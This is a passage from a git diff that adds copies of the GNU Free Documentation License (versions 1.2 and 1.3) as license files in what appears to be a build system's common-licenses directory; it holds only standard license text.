+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-only b/meta/files/common-licenses/GFDL-1.2-only
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-only
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.2-or-later b/meta/files/common-licenses/GFDL-1.2-or-later
new file mode 100644
index 0000000000..83c375aba1
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.2-or-later
@@ -0,0 +1,130 @@
+GNU Free Documentation License
+Version 1.2, November 2002
+
+Copyright (C) 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-invariants-only b/meta/files/common-licenses/GFDL-1.3-invariants-only
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-invariants-only
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
